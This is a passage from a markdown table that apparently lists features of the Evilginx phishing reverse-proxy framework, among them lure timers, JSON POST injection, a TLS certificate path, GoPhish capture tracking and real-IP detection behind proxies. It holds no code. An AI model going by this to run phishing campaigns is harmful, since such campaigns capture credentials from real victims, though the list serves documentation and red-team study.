| Lure pause/unpause | Temporarily disable lure with timer |
| JSON POST injection | force_post works on JSON body requests |
| Custom TLS certs | Place in ~/.evilginx/crt/sites/<hostname>/ |
| GoPhish native bridge | Track open/click/capture in GoPhish UI |
| Proxy origin awareness | Reads real IP through Nginx/Cloudflare/Apache |
| Evilpuppet |